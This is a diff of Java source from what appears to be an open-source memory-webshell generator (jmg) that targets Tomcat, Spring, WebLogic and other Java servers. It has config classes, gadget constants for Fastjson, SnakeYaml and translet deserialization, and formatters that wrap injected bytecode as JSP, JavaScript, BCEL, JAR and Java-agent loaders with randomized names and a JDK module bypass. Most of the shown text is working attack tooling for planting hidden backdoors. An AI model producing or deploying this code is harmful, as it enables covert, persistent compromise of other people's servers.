+        return shellClassName;
+    }
+
+    public void setShellClassName(String className) {
+        this.shellClassName = className;
+    }
+
+
+    private String shellSimpleClassName;
+
+    public String getShellSimpleClassName() {
+        return shellSimpleClassName;
+    }
+
+    public void setShellSimpleClassName(String shellSimpleClassName) {
+        this.shellSimpleClassName = shellSimpleClassName;
+    }
+
+    private byte[] shellBytes;
+
+    public byte[] getShellBytes() {
+        return shellBytes;
+    }
+
+    public void setShellBytes(byte[] shellBytes) {
+        this.shellBytes = shellBytes;
+    }
+
+
+    private int shellBytesLength;
+
+
+    public int getShellBytesLength() {
+        return shellBytesLength;
+    }
+
+    public void setShellBytesLength(int shellBytesLength) {
+        this.shellBytesLength = shellBytesLength;
+    }
+
+
+    public String getShellGzipBase64String() {
+        return shellGzipBase64String;
+    }
+
+    public void setShellGzipBase64String(String shellGzipBase64String) {
+        this.shellGzipBase64String = shellGzipBase64String;
+    }
+
+    public String shellGzipBase64String;
+
+    public boolean isEnableBypassJDKModule() {
+        return enableBypassJDKModule;
+    }
+
+    public void setEnableBypassJDKModule(boolean enableBypassJDKModule) {
+        this.enableBypassJDKModule = enableBypassJDKModule;
+    }
+
+    private boolean enableBypassJDKModule;
+    public boolean isEnableDebug() {
+        return enableDebug;
+    }
+
+    public void setEnableDebug(boolean enableDebug) {
+        this.enableDebug = enableDebug;
+    }
+
+    private boolean enableDebug = false;
+
+
+    private String urlPattern;
+
+    private String outputFormat;
+    private String savePath;
+    private String pass;
+    private String key;
+    private String serverType;
+    private String shellType;
+
+    private String headerName;
+    private String headerValue;
+
+
+    private String methodBody;
+
+
+    private String gadgetType;
+
+
+    public String getUrlPattern() {
+        return urlPattern;
+    }
+
+    public void setUrlPattern(String urlPattern) {
+        this.urlPattern = urlPattern;
+    }
+
+    public String getOutputFormat() {
+        return outputFormat;
+    }
+
+    public void setOutputFormat(String outputFormat) {
+        this.outputFormat = outputFormat;
+    }
+
+    public String getSavePath() {
+        return savePath;
+    }
+
+    public void setSavePath(String savePath) {
+        this.savePath = savePath;
+    }
+
+    public String getPass() {
+        return pass;
+    }
+
+    public void setPass(String pass) {
+        this.pass = pass;
+    }
+
+    public String getKey() {
+        return key;
+    }
+
+    public void setKey(String key) {
+        this.key = key;
+    }
+
+    public String getServerType() {
+        return serverType;
+    }
+
+    public void setServerType(String serverType) {
+        this.serverType = serverType;
+    }
+
+    public String getShellType() {
+        return shellType;
+    }
+
+    public void setShellType(String shellType) {
+        this.shellType = shellType;
+    }
+
+    public String getToolType() {
+        return toolType;
+    }
+
+    public void setToolType(String toolType) {
+        this.toolType = toolType;
+    }
+
+    public String toolType;
+
+
+    public String getHeaderName() {
+        return headerName;
+    }
+
+    public void setHeaderName(String headerName) {
+        this.headerName = headerName;
+    }
+
+    public String getHeaderValue() {
+        return headerValue;
+    }
+
+    public void setHeaderValue(String headerValue) {
+        this.headerValue = headerValue;
+    }
+
+
+    public String getGadgetType() {
+        return gadgetType;
+    }
+
+    public void setGadgetType(String gadgetType) {
+        this.gadgetType = gadgetType;
+    }
+
+
+    public Map getMessage() {
+        return result;
+    }
+
+    public void setMessage(Map message) {
+        this.result = message;
+    }
+
+    private Map result = new HashMap();
+
+
+    public String getExprEncoder() {
+        return exprEncoder;
+    }
+
+    public void setExprEncoder(String exprEncoder) {
+        this.exprEncoder = exprEncoder;
+    }
+
+    private String exprEncoder;
+
+    public String getExtenderSimpleClassName() {
+        return extenderSimpleClassName;
+    }
+
+
+    private String extenderSimpleClassName;
+
+    public String getLoaderClassName() {
+        return loaderClassName;
+    }
+
+    public void setLoaderClassName(String loaderClassName) {
+        this.loaderClassName = loaderClassName;
+    }
+
+    public String loaderClassName;
+
+    private String classFilePath;
+
+    public String getClassFilePath() {
+        return classFilePath;
+    }
+
+    public void setClassFilePath(String classFilePath) {
+        this.classFilePath = classFilePath;
+    }
+
+
+    public byte[] getExtenderBytes() {
+        return extenderBytes;
+    }
+
+    public void setExtenderBytes(byte[] extenderBytes) {
+        this.extenderBytes = extenderBytes;
+    }
+
+    private int extenderBytesLength;
+    private String extenderClassName;
+    private byte[] extenderBytes;
+
+    private String detectWay;
+
+
+    public String getDetectWay() {
+        return detectWay;
+    }
+
+    public void setDetectWay(String detectWay) {
+        this.detectWay = detectWay;
+    }
+
+
+    private boolean enabledExtender = false;
+
+
+    public boolean isEnabledExtender() {
+        return enabledExtender;
+    }
+
+    public void setEnabledExtender(boolean enabledExtender) {
+        this.enabledExtender = enabledExtender;
+    }
+
+    public int getExtenderBytesLength() {
+        return extenderBytesLength;
+    }
+
+    public void setExtenderBytesLength(int extenderBytesLength) {
+        this.extenderBytesLength = extenderBytesLength;
+    }
+
+    public String getExtenderClassName() {
+        return extenderClassName;
+    }
+
+    public void setExtenderClassName(String extenderClassName) {
+        this.extenderClassName = extenderClassName;
+    }
+
+
+    private String dnsDomain;
+
+
+    public String getDnsDomain() {
+        return dnsDomain;
+    }
+
+
+    public void setDnsDomain(String dnsDomain) {
+        this.dnsDomain = dnsDomain;
+    }
+
+    public String getBaseUrl() {
+        return baseUrl;
+    }
+
+    public void setBaseUrl(String baseUrl) {
+        this.baseUrl = baseUrl;
+    }
+
+    public String baseUrl;
+
+
+    public String getSleepTime() {
+        return sleepTime;
+    }
+
+    public void setSleepTime(String sleepTime) {
+        this.sleepTime = sleepTime;
+    }
+
+    public String sleepTime;
+
+    public void setExtenderSimpleClassName(String extenderSimpleClassName) {
+        this.extenderSimpleClassName = extenderSimpleClassName;
+    }
+
+
+    public String getJarClassName() {
+        return this.jarClassName;
+    }
+
+    public void setJarClassName(String jarClassName) {
+        this.jarClassName = jarClassName;
+    }
+
+    private String jarClassName;
+
+    public void build() {
+        // 检查 serverType、modelType、formatType  是否已设置
+        if (this.toolType == null || this.serverType == null || this.shellType == null || this.outputFormat == null || this.gadgetType == null) {
+            throw new IllegalStateException("toolType、serverType、shellType 、formatType and gadgetType must be set.");
+        }
+        // 无自定义则随机生成
+        Map.Entry<String, String> header = RandomHttpHeaderUtil.generateHeader();
+        if (this.getHeaderName() == null) this.setHeaderName(header.getKey());
+        if (this.getHeaderValue() == null) this.setHeaderValue(header.getValue());
+        if (this.getUrlPattern() == null) this.setUrlPattern("/*");
+        if (this.getSavePath() == null) this.setSavePath(System.getProperty("user.dir"));
+        if (this.getInjectorClassName() == null)
+            this.setInjectorClassName(ClassNameUtil.getRandomInjectorClassName());
+        if (this.getInjectorSimpleClassName() == null)
+            this.setInjectorSimpleClassName(CommonUtil.getSimpleName(this.getInjectorClassName()));
+        if (this.getShellClassName() == null)
+            this.setShellClassName(ClassNameUtil.getRandomShellClassName(this.getShellType()));
+        if (this.getShellSimpleClassName() == null)
+            this.setShellSimpleClassName(CommonUtil.getSimpleName(this.getShellClassName()));
+        if (this.getOutputFormat().contains(Constants.FORMAT_BCEL))
+            this.setLoaderClassName(ClassNameUtil.getRandomLoaderClassName());
+        this.setSavePath(CommonUtil.getFileOutputPath(this.getOutputFormat(), this.getInjectorSimpleClassName(), this.getSavePath()));
+    }
+}

jmg-core/src/main/java/jmg/core/config/Constants.java

@@ -0,0 +1,75 @@
+package jmg.core.config;
+
+public class Constants {
+
+    public static final String JMG_VERSION = "1.0.8_240914";
+
+    public static final String JMG_NAME = "java-memshell-generator";
+    public static final String JMG_DESCRIPTION = "Java 内存马生成器";
+
+    public static final String JMG_AUTHOR = "pen4uin";
+
+    public static final String SERVER_TOMCAT = "Tomcat";
+    public static final String SERVER_SPRING_MVC = "SpringMVC";
+    public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
+
+    public static final String SERVER_JETTY = "Jetty";
+    public static final String SERVER_RESIN = "Resin";
+    public static final String SERVER_WEBLOGIC = "WebLogic";
+    public static final String SERVER_WEBSPHERE = "WebSphere";
+    public static final String SERVER_UNDERTOW = "Undertow";
+    public static final String SERVER_GLASSFISH = "GlassFish";
+
+    public static final String SERVER_JBOSS = "JBoss";
+
+
+    public static final String SHELL_LISTENER = "Listener";
+    public static final String SHELL_FILTER = "Filter";
+    public static final String SHELL_JAKARTA_LISTENER = "JakartaListener";
+    public static final String SHELL_JAKARTA_FILTER = "JakartaFilter";
+    public static final String SHELL_VALVE = "Valve";
+    public static final String SHELL_INTERCEPTOR = "Interceptor";
+    public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
+    public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
+    public static final String FORMAT_CLASS = "CLASS";
+    public static final String FORMAT_BCEL = "BCEL";
+    public static final String FORMAT_JSP = "JSP";
+    public static final String FORMAT_JAR = "JAR";
+    public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
+    public static final String FORMAT_JS = "JS";
+    public static final String FORMAT_BASE64 = "BASE64";
+    public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
+
+
+    public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
+
+    public static final String GADGET_SNAKEYAML = "SnakeYaml";
+
+    public static final String GADGET_NONE = "NONE";
+
+    public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
+    public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
+
+    public static final String TOOL_ANTSWORD = "AntSword";
+    public static final String TOOL_BEHINDER = "Behinder";
+    public static final String TOOL_GODZILLA = "Godzilla";
+
+    public static final String TOOL_CUSTOM = "Custom";
+
+    public static final String TOOL_NEOREGEORG = "Neo-reGeorg";
+    public static final String TOOL_SUO5 = "Suo5";
+
+    public static final String EXPR_EL = "EL";
+    public static final String EXPR_SPEL = "SpEL";
+    public static final String EXPR_OGNL = "OGNL";
+    public static final String EXPR_FREEMARKER = "FreeMarker";
+    public static final String EXPR_VELOCITY = "Velocity";
+    public static final String EXPR_JS = "ScriptEngineManager(JS)";
+
+    public static final String DETECT_DNS = "DNSLog";
+    public static final String DETECT_HTTP = "HTTPLog";
+
+    public static final String DETECT_SLEEP = "Sleep";
+    public static final String DETECT_DFSECHO = "DFSEcho";
+
+}

jmg-core/src/main/java/jmg/core/format/BASE64Formater.java

@@ -0,0 +1,15 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+import java.util.Base64;
+
+public class BASE64Formater implements IFormater {
+    @Override
+    public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+        Base64.Encoder base64Encoder = Base64.getEncoder();
+        return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
+    }
+}

jmg-core/src/main/java/jmg/core/format/BCELFormater.java

@@ -0,0 +1,16 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.bcel.HackBCELs;
+
+import java.io.IOException;
+
+public class BCELFormater implements IFormater {
+
+
+    public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+        // 解决 BCEL 的classloader 的问题
+        byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
+        return HackBCELs.encode(bcelClzBytes).getBytes();
+    }
+}

jmg-core/src/main/java/jmg/core/format/BCELoader.java

@@ -0,0 +1,53 @@
+package jmg.core.format;
+
+import java.lang.reflect.Method;
+
+public class BCELoader {
+    static {
+        new BCELoader();
+    }
+
+    private String getClassName() {
+        return "";
+    }
+
+    private String getBase64String() {
+        return "";
+    }
+
+    public BCELoader() {
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        try {
+            classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                byte[] clazzBytes = decodeFromBase64(getBase64String());
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
+                clazz.newInstance();
+            } catch (Exception ee) {
+            }
+        }
+    }
+
+    public static byte[] decodeFromBase64(String input) {
+        byte[] var2 = null;
+
+        Class var1;
+        try {
+            var1 = Class.forName("java.util.Base64");
+            Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
+            var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
+        } catch (Exception var6) {
+            try {
+                var1 = Class.forName("sun.misc.BASE64Decoder");
+                Object var4 = var1.newInstance();
+                var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
+            } catch (Exception var5) {
+            }
+        }
+
+        return var2;
+    }
+}

jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java

@@ -0,0 +1,77 @@
+package jmg.core.format;
+
+import javassist.ClassClassPath;
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+import jmg.core.config.AbstractConfig;
+import jmg.core.util.JavassistUtil;
+
+public class BCELoaderGenerator {
+    public static byte[] generatorBCELoaderClass(AbstractConfig config) {
+        try {
+            ClassPool pool = ClassPool.getDefault();
+            ClassClassPath classPath = new ClassClassPath(BCELoader.class);
+            pool.insertClassPath(classPath);
+            CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
+            ctClass.setName(config.getLoaderClassName());
+            ctClass.getClassFile().setVersionToJava5();
+            CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
+            getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
+            CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
+            String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
+            String[] parts = splitChunks(base64ClassString, 40000);
+            StringBuilder result = new StringBuilder();
+            for (int i = 0; i < parts.length; i++) {
+                if (i > 0) result.append("+");
+                result.append("new String(\"" + parts[i] + "\")");
+            }
+            getBase64String.setBody(String.format("{return %s;}", result));
+            ctClass.defrost();
+            JavassistUtil.removeSourceFileAttribute(ctClass);
+            byte[] bytes = ctClass.toBytecode();
+            ctClass.detach();
+            return bytes;
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+
+    private static String encodeToBase64(byte[] input) throws Exception {
+        String value = null;
+        Class base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
+            value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Encoder");
+                Object Encoder = base64.newInstance();
+                value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
+            } catch (Exception var5) {
+            }
+        }
+        return value;
+    }
+
+    private static String[] splitChunks(String source, int CHUNK_SIZE) {
+        String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
+        char[] payload = source.toCharArray();
+        int start = 0;
+        for (int i = 0; i < ret.length; i++) {
+            if (start + CHUNK_SIZE > payload.length) {
+                char[] b = new char[payload.length - start];
+                System.arraycopy(payload, start, b, 0, payload.length - start);
+                ret[i] = new String(b);
+            } else {
+                char[] b = new char[CHUNK_SIZE];
+                System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
+                ret[i] = new String(b);
+            }
+            start += CHUNK_SIZE;
+        }
+        return ret;
+    }
+}

jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java

@@ -0,0 +1,14 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+import java.math.BigInteger;
+
+public class BigIntegerFormater implements IFormater {
+    @Override
+    public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+        return new BigInteger(clazzbyte).toString(36).getBytes();
+    }
+}

jmg-core/src/main/java/jmg/core/format/IFormater.java

@@ -0,0 +1,10 @@
+package jmg.core.format;
+
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.IOException;
+
+public interface IFormater {
+    public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
+}

jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java

@@ -0,0 +1,102 @@
+package jmg.core.format;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.template.SpringMVCAgentTransformer;
+import jmg.core.template.TomcatAgentTransformer;
+import jmg.core.util.CommonUtil;
+import jmg.core.util.JavassistUtil;
+
+import java.io.*;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Enumeration;
+import java.util.jar.JarEntry;
+import java.util.jar.JarFile;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
+
+// todo: 其他中间件
+
+public class JARAgentFormater implements IFormater {
+    public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
+        String className = TomcatAgentTransformer.class.getName();
+        String simpleName = TomcatAgentTransformer.class.getSimpleName();
+        if (config.getServerType().equals(Constants.SERVER_TOMCAT)) {
+            className = TomcatAgentTransformer.class.getName();
+            simpleName = TomcatAgentTransformer.class.getSimpleName();
+        } else if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)) {
+            className = SpringMVCAgentTransformer.class.getName();
+            simpleName = SpringMVCAgentTransformer.class.getSimpleName();
+        } else {
+            throw new RuntimeException(String.format("Java Agent 暂时只支持 %s、%s",Constants.SERVER_TOMCAT,Constants.SERVER_SPRING_MVC));
+        }
+
+        String classFileName = simpleName.replace('.', '/') + ".class";
+        ClassPool pool = ClassPool.getDefault();
+//        Note: jar 包中的文件不能通过文件路径读取，需要通过流读取
+//        File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
+
+        InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
+        File jarFile = File.createTempFile("jmg-agent", ".jar");
+        try (FileOutputStream out = new FileOutputStream(jarFile)) {
+            byte[] buffer = new byte[1024];
+            int bytesRead;
+            while ((bytesRead = jarStream.read(buffer)) != -1) {
+                out.write(buffer, 0, bytesRead);
+            }
+        }
+
+        Manifest manifest = createManifest(simpleName);
+        File tempJarFile = File.createTempFile("tempJar", ".jar");
+
+        try (JarFile jar = new JarFile(jarFile);
+             JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
+
+            copyJarEntries(jar, tempJar);
+
+            addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(), CommonUtil.encodeBase64(clazzbyte));
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
+    }
+
+    private Manifest createManifest(String simpleName) {
+        Manifest manifest = new Manifest();
+        manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
+        manifest.getMainAttributes().putValue("Agent-Class", simpleName);
+        manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
+        manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
+        manifest.getMainAttributes().putValue("Main-Class", simpleName);
+        return manifest;
+    }
+
+    private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
+        Enumeration<JarEntry> jarEntries = jar.entries();
+        while (jarEntries.hasMoreElements()) {
+            JarEntry entry = jarEntries.nextElement();
+            try (InputStream entryInputStream = jar.getInputStream(entry)) {
+                tempJar.putNextEntry(entry);
+                byte[] buffer = new byte[1024];
+                int bytesRead;
+                while ((bytesRead = entryInputStream.read(buffer)) != -1) {
+                    tempJar.write(buffer, 0, bytesRead);
+                }
+            }
+        }
+    }
+
+    private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar, String injectFlag, String injectorCode) throws Exception {
+        CtClass ctClass = pool.get(className);
+        ctClass.getClassFile().setVersionToJava5();
+        ctClass.setName(simpleName);
+        JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
+        tempJar.putNextEntry(new JarEntry(classFileName));
+        tempJar.write(ctClass.toBytecode());
+        ctClass.detach();
+    }
+}

jmg-core/src/main/java/jmg/core/format/JARFormater.java

@@ -0,0 +1,47 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
+
+public class JARFormater implements IFormater {
+    public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+        String className = config.getInjectorClassName();
+        String jarEntryFileName = className.replace(".", "/") + ".class";
+
+        Manifest manifest = new Manifest();
+        manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
+
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
+            jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
+            jarOutputStream.write(clazzbyte);
+            jarOutputStream.closeEntry();
+
+            // fastjson + groovy 的利用
+            if (config.isImplementsASTTransformationType()) {
+                String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
+                JarEntry entry = new JarEntry(entryName);
+                jarOutputStream.putNextEntry(entry);
+                jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
+                jarOutputStream.closeEntry();
+            }
+
+            // snakeyaml + loadJar 的利用
+            if (config.isImplementsScriptEngineFactory()) {
+                String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
+                JarEntry entry = new JarEntry(entryName);
+                jarOutputStream.putNextEntry(entry);
+                jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
+                jarOutputStream.closeEntry();
+            }
+        }
+
+        return out.toByteArray();
+    }
+}

jmg-core/src/main/java/jmg/core/format/JSPFormater.java

@@ -0,0 +1,35 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.tools.codec.BASE64Encoder;
+
+import java.io.IOException;
+
+public class JSPFormater implements IFormater {
+
+    public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+        String strJSP = "<%\n" +
+                "    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
+                "    try{\n" +
+                "        classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
+                "    }catch (Exception e){\n" +
+                "        java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
+                "        defineClass.setAccessible(true);\n" +
+                "        String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
+                "        byte[] bytecode = null;\n" +
+                "        try {\n" +
+                "            Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
+                "            Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
+                "            Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
+                "            bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
+                "        } catch (ClassNotFoundException ee) {\n" +
+                "            Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
+                "            bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
+                "        }\n" +
+                "        Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
+                "        clazz.newInstance();\n" +
+                "    }\n" +
+                "%>";
+        return strJSP.getBytes();
+    }
+}

jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java

@@ -0,0 +1,36 @@
+package jmg.core.format;
+
+import jmg.core.config.AbstractConfig;
+import me.gv7.woodpecker.tools.codec.BASE64Encoder;
+
+import java.io.IOException;
+
+public class JavaScriptFormater implements IFormater {
+    public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
+        String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
+                "try{\n" +
+                "    classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
+                "}catch (e){\n" +
+                "    var clsString = classLoader.loadClass('java.lang.String');\n" +
+                "    var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
+                "    var bytecode;\n" +
+                "    try{\n" +
+                "        var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
+                "        var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
+                "        var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
+                "        bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
+                "    } catch (ee) {\n" +
+                "        var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
+                "        bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
+                "    }\n" +
+                "    var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
+                "    var clsByteArray = classLoader.loadClass('[B');\n" +
+                "    var clsInt = java.lang.Integer.TYPE;\n" +
+                "    var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
+                "    defineClass.setAccessible(true);\n" +
+                "    var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
+                "    clazz.newInstance();\n" +
+                "}";
+        return strJS.getBytes();
+    }
+}

jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java

@@ -0,0 +1,14 @@
+package jmg.core.generator;
+
+import javassist.ClassPool;
+import jmg.core.config.AbstractConfig;
+
+public interface IShellGenerator {
+    ClassPool pool = ClassPool.getDefault();
+
+    void initShell(AbstractConfig config);
+
+    byte[] makeShell(AbstractConfig config) throws Exception;
+
+    byte[] modifyShell(String className, AbstractConfig config);
+}

jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java

@@ -0,0 +1,103 @@
+package jmg.core.generator;
+
+import javassist.*;
+import javassist.bytecode.AccessFlag;
+import jmg.core.config.AbstractConfig;
+import jmg.core.config.Constants;
+import jmg.core.util.*;
+
+
+/**
+ * 注入器生成
+ */
+public class InjectorGenerator {
+    public byte[] makeInjector(AbstractConfig config) throws Exception {
+        String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
+        String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
+        byte[] bytes = UtilPlus.generate(injectorClassName, config);
+        config.setInjectorBytes(bytes);
+        config.setInjectorBytesLength(bytes.length);
+        return bytes;
+    }
+
+
+    public static class UtilPlus {
+        @SuppressWarnings("unchecked")
+        private final static ClassPool pool = ClassPool.getDefault();
+
+        public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
+            pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
+            CtClass ctClass = pool.getCtClass(injectorTplClassName);
+            ctClass.getClassFile().setVersionToJava5();
+            String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
+
+            String urlPattern = config.getUrlPattern();
+            String shellClassName = config.getShellClassName();
+
+            if (base64ShellString != null) {
+                CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
+                String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
+                StringBuilder result = new StringBuilder();
+                for (int i = 0; i < parts.length; i++) {
+                    if (i > 0)
+                        result.append("+");
+                    result.append("new String(\"" + parts[i] + "\")");
+                }
+
+                getBase64String.setBody(String.format("{return %s;}", result));
+            }
+
+            if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
+                CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
+                getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
+            }
+
+            if (shellClassName != null) {
+                CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
+                getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
+            }
+
+            if (config.isEnableBypassJDKModule()) {
+                // 添加 bypassJDKModule 方法
+                CtMethod ctMethod = new CtMethod(CtClass.voidType, "bypassJDKModule", new CtClass[0], ctClass);
+                ctMethod.setModifiers(AccessFlag.PUBLIC);
+                ctMethod.setBody(JDKBypassUtil.bypassJDKModuleBody());
+                ctClass.addMethod(ctMethod);
+
+                // 添加 bypassJDKModule 调用
+                CtConstructor constructor = ctClass.getConstructors()[0];
+                constructor.setModifiers(javassist.Modifier.setPublic(constructor.getModifiers()));
+                constructor.insertBeforeBody("bypassJDKModule();");
+            }
+
+            JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
+            JavassistUtil.removeSourceFileAttribute(ctClass);
+            byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
+            ctClass.detach();
+            return bytes;
+        }
+
+        private static String[] splitChunks(String source, int CHUNK_SIZE) {
+            String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
+            char[] payload = source.toCharArray();
+            int start = 0;
+            for (int i = 0; i < ret.length; i++) {
+                if (start + CHUNK_SIZE > payload.length) {
+                    char[] b = new char[payload.length - start];
+                    System.arraycopy(payload, start, b, 0, payload.length - start);
+                    ret[i] = new String(b);
+                } else {
+                    char[] b = new char[CHUNK_SIZE];
+                    System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
+                    ret[i] = new String(b);
+                }
+                start += CHUNK_SIZE;
+            }
+            return ret;
+        }
+    }
+
+
+}
+
+

jmg-core/src/main/java/jmg/core/jMGCodeApi.java

@@ -0,0 +1,56 @@
+package jmg.core;
+
+
+import jmg.core.config.AbstractConfig;
